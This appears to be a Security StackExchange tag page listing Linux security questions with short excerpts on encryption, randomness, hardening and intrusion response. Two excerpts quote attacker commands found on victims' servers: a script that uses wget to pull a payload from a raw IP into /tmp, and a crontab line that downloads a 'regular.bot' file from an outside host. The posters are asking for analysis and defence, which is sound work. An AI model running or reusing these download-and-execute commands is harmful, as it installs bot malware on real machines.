Securing Linux systems and applications; understanding Linux security features.

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17
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1answer
730 views

Keyboard firmware hack - Linux vulnerable?

I see that Apple patched OS X to mitigate against K. Chen's famous Apple keyboard firmware hack. However: Apple keyboards can be used with computers running other operating systems; and in any ...
16
votes
5answers
5k views

Java SecureRandom doesn't block? How?

I know from experience that reading from /dev/random blocks when the Linux kernel entropy pool runs out of entropy. Also, I've seen many articles and blog entries stating that when running on Linux, ...
15
votes
8answers
4k views

Why is it possible for the root user to delete the logs?

I always thought the greatest benefit of the logs is to confirm to you that your machine has been hacked. However I see hackers bragging about "rooting" servers all over the Internet. Whats stopping a ...
15
votes
5answers
2k views

Can a .sh file be malware?

Can a .sh file be a virus or something harmful? Is it like .exe files on Windows? If yes, can someone read this script and tell me if it safe and is it effect any how on GnuPG security? It gives me an ...
15
votes
8answers
1k views

Is it possible to prevent a file type from being determined in a Linux system?

I have several files on my Ubuntu system, which are LUKS encrypted partitions. For my own shame up to this day I thought that simply changing binary file's extension will be enough to hide what a file ...
15
votes
1answer
927 views

Linux /etc/shadow password change security

I wonder what happens what happens when I am changing my password on a Linux system. Basically all passwords are stored in a file called /etc/shadow or /etc/master.passwd in BSD-like systems as I do ...
15
votes
2answers
10k views

For LUKS: The most preferable and safest cipher?

I'm about to encrypt two of my hard drives using LUKS, since I can't really do it myself I use the guide on the Arch Linux wiki (which can be found here). In an example in the guide the cipher ...
15
votes
3answers
694 views

If I have two identical linux virtual machine images, will they generate identical random numbers?

A really noob question, I know, but something I was wondering about this morning. If this were the case, would they encrypt things identically? Or maybe someone could direct me to a helpful research ...
15
votes
2answers
2k views

Securing Docker and LXC

The concept put forward by Docker and LXC seems to be, from a security perspective, a move in the right direction. Afraid of a MySQL zero-day? Run it in a Docker container and it won't be able to ...
15
votes
2answers
993 views

Network policies under AppArmor/SELinux

I am attempting to sandbox some untrusted processes using Linux's MAC frameworks -- either SELinux or AppArmor. I see that both SELinux and AppArmor allow the selected granting of socket level access ...
14
votes
4answers
2k views

Recommendations for Changing the Default Shell For Service Accounts

It seems as if most Linux systems use either /sbin/nologin or /bin/false as the default shell for service accounts. Many hardening guides, such as CIS benchmarks, recommend changing the default shell ...
14
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3answers
5k views

Using TPM with DMcrypt?

Is it possible to use TPM for storage of some private key? It's not a full-disk encryption , I want it to be compatible with existing LUKS, just add another key, and store it in the TPM.
14
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2answers
2k views

RdRand from /dev/random

"Linus Torvalds, in response to a petition on Change.org to remove RdRand from /dev/random, has lambasted the petitioner by called him ignorant for not understanding the code in Linux Kernel. ...
14
votes
3answers
2k views

VPS security best practice

I've just signed up for a linux VPS to host a website I've been creating and I need some advice on the best approach to secure it. I've previously been hosting it off a VM in the house, but I want to ...
14
votes
4answers
1k views

How to react when under attack

Just this week someone has been trying to attack the server of the company where I work. I have noticed that they have been trying to brute force root via ssh. fail2ban is handling that well and I ...
14
votes
1answer
1k views

Did someone really plug an iphone in, or are these symptoms of an exploit attempt?

My syslog indicates that someone plugged an iPhone USB device into my desktop at 4am today, for about 10 minutes. I'm checking physical security logs to see if there was someone in the room, but in ...
13
votes
2answers
2k views

Linux password changed. Is this an attack or a hardware glitch?

My Linux (Ubuntu 12.04) password suddenly changed last night and I'm not sure if this is an attack or just a hardware/user error. This is on a personal/non-server box. Several strange events led up to ...
13
votes
3answers
2k views

Breaching security of a notebook with full disc encryption when screen is locked

I am using full disc encryption on my portable computer (running Ubuntu). The setup requires me to enter a password during the boot sequence to access fully encrypted hard drive. There is no ...
13
votes
5answers
8k views

Linux command logging?

Recently someone broke into one of our linux servers as a non root user. An excerpt from .bash_history: [...] perl perl set +o history set +o history set +o history passwd sdfsdf passwd exit I ...
13
votes
3answers
2k views

What does this sh script do if executed?

I have intercepted an attack on my web server that I believe was unsuccessful. The attacker tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod ...
13
votes
1answer
1k views

Are there Linux rootkits circulating that directly modify the kernel (without modules)?

It has been said, over and over, that disabling dynamic kernel module loading on Linux increases security. I understand why people give this advice, but I've always assumed that a bad guy could ...
13
votes
5answers
3k views

Apache/Linux server, DoS attack from own IP

I have an unusual problem I've been trying to diagnose for a while: It's about a Debian server running a custom compile of apache 2.2 with PHP, Red5, MySQL 5.5 (standard binary), sendmail (distro ...
13
votes
6answers
2k views

Securely building a local pentest lab in a VM

I'd like to set up OWASP WebGoat or a similar vulnerable web app in a VM (probably VirtualBox on Linux). For convenience's sake, I'd like to get it running on one of the primary machines I use (say, a ...
13
votes
2answers
1k views

Getting exploit reliability when using the off by one framepointer overwrite on linux

We have a program that is vulnerable to a one byte frame pointer overwrite. The stack is marked executable, the Linux machine has aslr disabled, stack cookies are disabled, and it's a little endian ...
12
votes
8answers
9k views

How anonymous is my setup?

my friend and I are trying to make the most anonymous setup for a computer to do things across the internet without being known the location from which it came. Our setup is as follows: A windows ...
12
votes
4answers
29k views

Tips for a secure iptables config to defend from attacks. (client side!)

Own examples: ############### # KERNEL PARAMETER CONFIGURATION # PREVENT YOU SYSTEM FROM ANSWERING ICMP ECHO REQUESTS echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all # DROP ICMP ECHO-REQUEST ...
12
votes
4answers
556 views

How to safely synchronize time over Internet?

All modern OS now keep accurate time by regularly synchronizing time over an untrusted network - Internet. Could an attacker conducting a MITM attack, influence or change the time of a computer while ...
12
votes
3answers
606 views

Given SSH access, what should I do to protect a server and monitor (dangerous) user actions?

Context: Small business, mostly a software house for web applications but also some desktop software. Many external collaborators, so a variety of outside users with access to the servers. Single ...
12
votes
4answers
1k views

When using multiple operating systems, can they affect each other?

Let's say I have two different OS on my PC, Windows 10 and Linux. It is well-known that Windows collects a significant amount of information and sends it to Microsoft's servers, but I wonder if it ...
12
votes
4answers
7k views

Is SecureShellz bot a virus? How does it work?

I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O ...
12
votes
2answers
14k views

Is it possible to use the aircrack-ng tool to crack a WPA2 Enterprise network?

is this tool (aircrack-ng) capable of cracking into a WPA/WPA2 Enterprise network? This tool has major success cracking the passwords of WEP/WPA networks. If it can, how, but if not, is there another ...
12
votes
4answers
846 views

What would happen if one of the popular Linux repositories is hacked?

Even though most people consider downloading your Linux software from you own distribution's repositories as safe, thinking about the scenario where a repository gets hacked sounds thrilling. What ...
12
votes
1answer
696 views

Slot machine segfault: what can we determine?

We walked into a casino and saw this near the entrance. I don't have a specific question, but is there anything that would be interesting to share and explain from the image?
12
votes
2answers
5k views

Available Resources for Securing RHEL 6

Some in our infrastructure group want to upgrade to start taking advantage of the new features in RHEL 6. In the past, I have relied on the NSA Guide to secure RHEL 5 and CentOS 5 installations. I ...
12
votes
1answer
3k views

How to check if my USB stick firmware can be rewritten via the USB port?

How can I know in Linux (or otherwise), if the firmware of my USB flash drive can be rewritten using the USB port (when sticking it in an USB port)? Eg. for a cheap EMTEC 16GB. I was thinking about ...
11
votes
7answers
1k views

How are open-sourced operating systems and software kept secure?

I have been wondering about his for awhile. I have Linux running on a PC at home. I had a jailbroken iPhone. They both have attributes that make them very attractive, and they are also FREE! But I ...
11
votes
6answers
11k views

Good file encryption tools [closed]

Could you please help me find a good file encryption tool? The target OS is Linux, but tools for Windows are welcome, too. FOSS tools are preferred. The tool must be reliable both for the recovery of ...
11
votes
3answers
4k views

Installing Development Tools on Production Server? Security Risk?

I am using an Amazon Linux EC2 instance as a web server. My web app uses ImageMagick. Because the Amazon Linux (CentOS) repository doesn't include an up-to-date version of ImageMagick, I am compiling ...
11
votes
7answers
5k views

Secure memcpy for pure C

Buffer overflows are nothing new. And yet they still appear often, especially in native (i.e. not managed) code... Part of the root cause, is usage of "unsafe" functions, including C++ staples ...
11
votes
2answers
4k views

How to encrypt data on the server?

I have some data on the server (running Linux) which needs to be encrypted (company policy). This data is being served by an application running on this machine. Now I consider a few possibilities: ...
11
votes
3answers
1k views

What security measures should be taken when running a Linux web server out of our office?

I am interested in running our company's web server from our local office. The office makes use of file sharing and NAS devices among other common office protocols. The worst case scenarios I've ...
11
votes
3answers
5k views

Pitfalls of SSD encryption

Encrypting an SSD is a process that is sometimes warned should be done with caution. E.g. http://en.gentoo-wiki.com/wiki/DM-Crypt_with_LUKS mentions how the SSD may keep hidden space used for wear ...
11
votes
3answers
4k views

Are there ransomware infections of Ubuntu Linux in the wild?

Due to the recent media coverage of ransomware attacks several people for whom I've provided personal computer support in the past have expressed concerned. The majority of these people are running ...
11
votes
3answers
2k views

Which Linux kernel vulnerabilities allow installing a kernel-level rootkit?

My question is related to vulnerabilities that allow installing a Linux kernel-level rootkit (for example, to modify the execution flow inside the kernel; for return-oriented attacks; or to modify ...
11
votes
1answer
1k views

Relative importance of CHROOT for web servers

I have read extremely mixed opinions on the process of chrooting for a web server (non-shared environment). Some people swear by it, yet others say that it isn't as secure as everyone says. Given ...
11
votes
3answers
9k views

Best method to sandbox X applications in ubuntu

What's the best way to sandbox an X application like firefox or thunderbird in ubuntu (going into the direction of what qubes os does, but only for single applications)? I know there are many ...
11
votes
1answer
158 views

How long to re-seed /dev/urandom in a virtual machine?

I have read plenty about the distinction between /dev/random and /dev/urandom. I understand that the prevailing advice is to use /dev/urandom. The explanation - that 256 bits of 'proper' randomness ...
11
votes
1answer
825 views

Help in understanding an application's crash - exploitable?

Being new to researching vulnerabilities in native applications (as opposed to web apps), I'm having difficulties understanding a crash in Debian's browser, Epiphany (version 2.30.6), and determining ...
10
votes
4answers
14k views

What do I need to configure, to make sure my software uses /dev/urandom?

When setting up a server, what configuration changes do I need to make sure that all of the software uses /dev/urandom instead of /dev/random? Some servers don't have much entropy in the entropy pool ...
10
votes
2answers
12k views

How to get MAC addresses of devices which are not in the network

Can I get MAC addresses of devices (mobile phones) which are near to my network but not connected to it? (Linux) I have been trying to get the MAC addresses of devices connected to my network through ...